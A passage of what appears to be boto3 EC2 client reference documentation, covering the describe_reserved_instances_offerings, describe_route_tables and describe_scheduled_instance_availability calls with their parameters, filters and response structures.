|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + MaxDuration=123, + MaxInstanceCount=123, + MinDuration=123, + OfferingClass='standard'|'convertible', + ProductDescription='Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + ReservedInstancesOfferingIds=[ + 'string', + ], + DryRun=True|False, + InstanceTenancy='default'|'dedicated'|'host', + MaxResults=123, + NextToken='string', + OfferingType='Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront' +) + +Parameters + +* **AvailabilityZone** (_string_) -- The Availability Zone in which the Reserved Instance can be used. +* **Filters** (_list_) -- + + One or more filters. + + * availability-zone - The Availability Zone where the Reserved Instance can be used. + * duration - The duration of the Reserved Instance (for example, one year or three years), in seconds (31536000 | 94608000 ). + * fixed-price - The purchase price of the Reserved Instance (for example, 9800.0). + * instance-type - The instance type that is covered by the reservation. + * marketplace - Set to true to show only Reserved Instance Marketplace offerings. When this filter is not used, which is the default behavior, all offerings from both AWS and the Reserved Instance Marketplace are listed. + * product-description - The Reserved Instance product platform description. Instances that include (Amazon VPC) in the product platform description will only be displayed to EC2-Classic account holders and are for use with Amazon VPC. (Linux/UNIX | Linux/UNIX (Amazon VPC) | SUSE Linux | SUSE Linux (Amazon VPC) | Red Hat Enterprise Linux | Red Hat Enterprise Linux (Amazon VPC) | Windows | Windows (Amazon VPC) | Windows with SQL Server Standard | Windows with SQL Server Standard (Amazon VPC) | Windows with SQL Server Web | Windows with SQL Server Web (Amazon VPC) | Windows with SQL Server Enterprise | Windows with SQL Server Enterprise (Amazon VPC) ) + * reserved-instances-offering-id - The Reserved Instances offering ID. + * scope - The scope of the Reserved Instance (Availability Zone or Region ). + * usage-price - The usage price of the Reserved Instance, per hour (for example, 0.84). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **IncludeMarketplace** (_boolean_) -- Include Reserved Instance Marketplace offerings in the response. +* **InstanceType** (_string_) -- The instance type that the reservation will cover (for example, m1.small ). For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **MaxDuration** (_integer_) -- + + The maximum duration (in seconds) to filter when searching for offerings. + + Default: 94608000 (3 years) + +* **MaxInstanceCount** (_integer_) -- + + The maximum number of instances to filter when searching for offerings. + + Default: 20 + +* **MinDuration** (_integer_) -- + + The minimum duration (in seconds) to filter when searching for offerings. + + Default: 2592000 (1 month) + +* **OfferingClass** (_string_) -- The offering class of the Reserved Instance. Can be standard or convertible . +* **ProductDescription** (_string_) -- The Reserved Instance product platform description. Instances that include (Amazon VPC) in the description are for use with Amazon VPC. +* **ReservedInstancesOfferingIds** (_list_) -- + + One or more Reserved Instances offering IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceTenancy** (_string_) -- + + The tenancy of the instances covered by the reservation. A Reserved Instance with a tenancy of dedicated is applied to instances that run in a VPC on single-tenant hardware (i.e., Dedicated Instances). + + > **Important:** The host value cannot be used with this parameter. Use the default or dedicated values only. + + Default: default + +* **MaxResults** (_integer_) -- + + The maximum number of results to return for the request in a single page. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. The maximum is 100. + + Default: 100 + +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **OfferingType** (_string_) -- The Reserved Instance offering type. If you are using tools that predate the 2011-11-01 API version, you only have access to the Medium Utilization Reserved Instance offering type. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ReservedInstancesOfferings': [ + { + 'AvailabilityZone': 'string', + 'Duration': 123, + 'FixedPrice': ..., + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'ReservedInstancesOfferingId': 'string', + 'UsagePrice': ..., + 'CurrencyCode': 'USD', + 'InstanceTenancy': 'default'|'dedicated'|'host', + 'Marketplace': True|False, + 'OfferingClass': 'standard'|'convertible', + 'OfferingType': 'Heavy Utilization'|'Medium Utilization'|'Light Utilization'|'No Upfront'|'Partial Upfront'|'All Upfront', + 'PricingDetails': [ + { + 'Count': 123, + 'Price': 123.0 + }, + ], + 'RecurringCharges': [ + { + 'Amount': 123.0, + 'Frequency': 'Hourly' + }, + ], + 'Scope': 'Availability Zone'|'Region' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeReservedInstancesOfferings. + + * **ReservedInstancesOfferings** _(list) --_ + + A list of Reserved Instances offerings. + + * _(dict) --_ + + Describes a Reserved Instance offering. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which the Reserved Instance can be used. + + * **Duration** _(integer) --_ + + The duration of the Reserved Instance, in seconds. + + * **FixedPrice** _(float) --_ + + The purchase price of the Reserved Instance. + + * **InstanceType** _(string) --_ + + The instance type on which the Reserved Instance can be used. + + * **ProductDescription** _(string) --_ + + The Reserved Instance product platform description. + + * **ReservedInstancesOfferingId** _(string) --_ + + The ID of the Reserved Instance offering. This is the offering ID used in GetReservedInstancesExchangeQuote to confirm that an exchange can be made. + + * **UsagePrice** _(float) --_ + + The usage price of the Reserved Instance, per hour. + + * **CurrencyCode** _(string) --_ + + The currency of the Reserved Instance offering you are purchasing. It's specified using ISO 4217 standard currency codes. At this time, the only supported currency is USD . + + * **InstanceTenancy** _(string) --_ + + The tenancy of the instance. + + * **Marketplace** _(boolean) --_ + + Indicates whether the offering is available through the Reserved Instance Marketplace (resale) or AWS. If it's a Reserved Instance Marketplace offering, this is true . + + * **OfferingClass** _(string) --_ + + If convertible it can be exchanged for Reserved Instances of the same or higher monetary value, with different configurations. If standard , it is not possible to perform an exchange. + + * **OfferingType** _(string) --_ + + The Reserved Instance offering type. + + * **PricingDetails** _(list) --_ + + The pricing details of the Reserved Instance offering. + + * _(dict) --_ + + Describes a Reserved Instance offering. + + * **Count** _(integer) --_ + + The number of reservations available for the price. + + * **Price** _(float) --_ + + The price per instance. + + * **RecurringCharges** _(list) --_ + + The recurring charge tag assigned to the resource. + + * _(dict) --_ + + Describes a recurring charge. + + * **Amount** _(float) --_ + + The amount of the recurring charge. + + * **Frequency** _(string) --_ + + The frequency of the recurring charge. + + * **Scope** _(string) --_ + + Whether the Reserved Instance is applied to instances in a Region or an Availability Zone. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_route_tables(kwargs_) + +Describes one or more of your route tables. + +Each subnet in your VPC must be associated with a route table. If a subnet is not explicitly associated with any route table, it is implicitly associated with the main route table. This command does not return the subnet ID for implicit associations. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +response = client.describe_route_tables( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * association.route-table-association-id - The ID of an association ID for the route table. + * association.route-table-id - The ID of the route table involved in the association. + * association.subnet-id - The ID of the subnet involved in the association. + * association.main - Indicates whether the route table is the main route table for the VPC (true | false ). Route tables that do not have an association ID are not returned in the response. + * owner-id - The ID of the AWS account that owns the route table. + * route-table-id - The ID of the route table. + * route.destination-cidr-block - The IPv4 CIDR range specified in a route in the table. + * route.destination-ipv6-cidr-block - The IPv6 CIDR range specified in a route in the route table. + * route.destination-prefix-list-id - The ID (prefix) of the AWS service specified in a route in the table. + * route.egress-only-internet-gateway-id - The ID of an egress-only Internet gateway specified in a route in the route table. + * route.gateway-id - The ID of a gateway specified in a route in the table. + * route.instance-id - The ID of an instance specified in a route in the table. + * route.nat-gateway-id - The ID of a NAT gateway. + * route.transit-gateway-id - The ID of a transit gateway. + * route.origin - Describes how the route was created. CreateRouteTable indicates that the route was automatically created when the route table was created; CreateRoute indicates that the route was manually added to the route table; EnableVgwRoutePropagation indicates that the route was propagated by route propagation. + * route.state - The state of a route in the route table (active | blackhole ). The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, the specified NAT instance has been terminated, and so on). + * route.vpc-peering-connection-id - The ID of a VPC peering connection specified in a route in the table. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC for the route table. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'RouteTables': [ + { + 'Associations': [ + { + 'Main': True|False, + 'RouteTableAssociationId': 'string', + 'RouteTableId': 'string', + 'SubnetId': 'string', + 'GatewayId': 'string', + 'AssociationState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'PropagatingVgws': [ + { + 'GatewayId': 'string' + }, + ], + 'RouteTableId': 'string', + 'Routes': [ + { + 'DestinationCidrBlock': 'string', + 'DestinationIpv6CidrBlock': 'string', + 'DestinationPrefixListId': 'string', + 'EgressOnlyInternetGatewayId': 'string', + 'GatewayId': 'string', + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'NatGatewayId': 'string', + 'TransitGatewayId': 'string', + 'LocalGatewayId': 'string', + 'CarrierGatewayId': 'string', + 'NetworkInterfaceId': 'string', + 'Origin': 'CreateRouteTable'|'CreateRoute'|'EnableVgwRoutePropagation', + 'State': 'active'|'blackhole', + 'VpcPeeringConnectionId': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string', + 'OwnerId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeRouteTables. + + * **RouteTables** _(list) --_ + + Information about one or more route tables. + + * _(dict) --_ + + Describes a route table. + + * **Associations** _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + * _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + * **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + * **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + * **RouteTableId** _(string) --_ + + The ID of the route table. + + * **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + * **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + * **AssociationState** _(dict) --_ + + The state of the association. + + * **State** _(string) --_ + + The state of the association. + + * **StatusMessage** _(string) --_ + + The status message, if applicable. + + * **PropagatingVgws** _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + * _(dict) --_ + + Describes a virtual private gateway propagating route. + + * **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + * **RouteTableId** _(string) --_ + + The ID of the route table. + + * **Routes** _(list) --_ + + The routes in the route table. + + * _(dict) --_ + + Describes a route in a route table. + + * **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + * **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + * **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + * **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + * **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + * **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + * **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + * **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **Origin** _(string) --_ + + Describes how the route was created. + + * CreateRouteTable - The route was automatically created when the route table was created. + * CreateRoute - The route was manually added to the route table. + * EnableVgwRoutePropagation - The route was propagated by route propagation. + * **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + * **Tags** _(list) --_ + + Any tags assigned to the route table. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the route table. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified route table. + +response = client.describe_route_tables( + RouteTableIds=[ + 'rtb-1f382e7d', + ], +) + +print(response) + +Expected Output: + +{ + 'RouteTables': [ + { + 'Associations': [ + { + 'Main': True, + 'RouteTableAssociationId': 'rtbassoc-d8ccddba', + 'RouteTableId': 'rtb-1f382e7d', + }, + ], + 'PropagatingVgws': [ + ], + 'RouteTableId': 'rtb-1f382e7d', + 'Routes': [ + { + 'DestinationCidrBlock': '10.0.0.0/16', + 'GatewayId': 'local', + 'State': 'active', + }, + ], + 'Tags': [ + ], + 'VpcId': 'vpc-a01106c2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_scheduled_instance_availability(kwargs_) + +Finds available schedules that meet the specified criteria. + +You can search for an available schedule no more than 3 months in advance. You must meet the minimum required duration of 1,200 hours per year. For example, the minimum daily schedule is 4 hours, the minimum weekly schedule is 24 hours, and the minimum monthly schedule is 100 hours. + +After you find a schedule that meets your needs, call PurchaseScheduledInstances to purchase Scheduled Instances with that schedule. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeScheduledInstanceAvailability) + +**Request Syntax** + +response = client.describe_scheduled_instance_availability( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + FirstSlotStartTimeRange={ + 'EarliestTime': datetime(2015, 1, 1), + 'LatestTime': datetime(2015, 1, 1) + }, + MaxResults=123, + MaxSlotDurationInHours=123, + MinSlotDurationInHours=123, + NextToken='string', + Recurrence={ + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDays': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * availability-zone - The Availability Zone (for example, us-west-2a ). + * instance-type - The instance type (for example, c4.large ). + * network-platform - The network platform (EC2-Classic or EC2-VPC ). + * platform - The platform (Linux/UNIX or Windows ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **FirstSlotStartTimeRange** (_dict_) -- + + **[REQUIRED]** + + The time period for the first schedule to start. + + * **EarliestTime** _(datetime) --_ **[REQUIRED]** + + The earliest date and time, in UTC, for the Scheduled Instance to start. + + * **LatestTime** _(datetime) --_ **[REQUIRED]** + + The latest date and time, in UTC, for the Scheduled Instance to start. This value must be later than or equal to the earliest date and at most three months in the future. + +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. This value can be between 5 and 300. The default value is 300. To retrieve the remaining results, make another call with the returned NextToken value. +* **MaxSlotDurationInHours** (_integer_) -- The maximum available duration, in hours. This value must be greater than MinSlotDurationInHours and less than 1,720. +* **MinSlotDurationInHours** (_integer_) -- The minimum available duration, in hours. The minimum required duration is 1,200 hours per year. For example, the minimum daily schedule is 4 hours, the minimum weekly schedule is 24 hours, and the minimum monthly schedule is 100 hours. +* **NextToken** (_string_) -- The token for the next set of results. +* **Recurrence** (_dict_) -- + + **[REQUIRED]** + + The schedule recurrence. + + * **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + * **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of Frequency . For example, every 2 weeks or every 2 months. + + * **OccurrenceDays** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). You can't specify this value with a daily schedule. If the occurrence is relative to the end of the month, you can specify only a single day. + + * _(integer) --_ + * **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. You can't specify this value with a daily schedule. + + * **OccurrenceUnit** _(string) --_ + + The unit for OccurrenceDays (DayOfWeek or DayOfMonth ). This value is required for a monthly schedule. You can't specify DayOfWeek with a weekly schedule. You can't specify this value with a daily schedule. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'ScheduledInstanceAvailabilitySet': [ + { + 'AvailabilityZone': 'string', + 'AvailableInstanceCount': 123, + 'FirstSlotStartTime': datetime(2015, 1, 1), + 'HourlyPrice': 'string', + 'InstanceType': 'string', + 'MaxTermDurationInDays': 123, + 'MinTermDurationInDays': 123, + 'NetworkPlatform': 'string', + 'Platform': 'string', + 'PurchaseToken': 'string', + 'Recurrence': { + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDaySet': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + 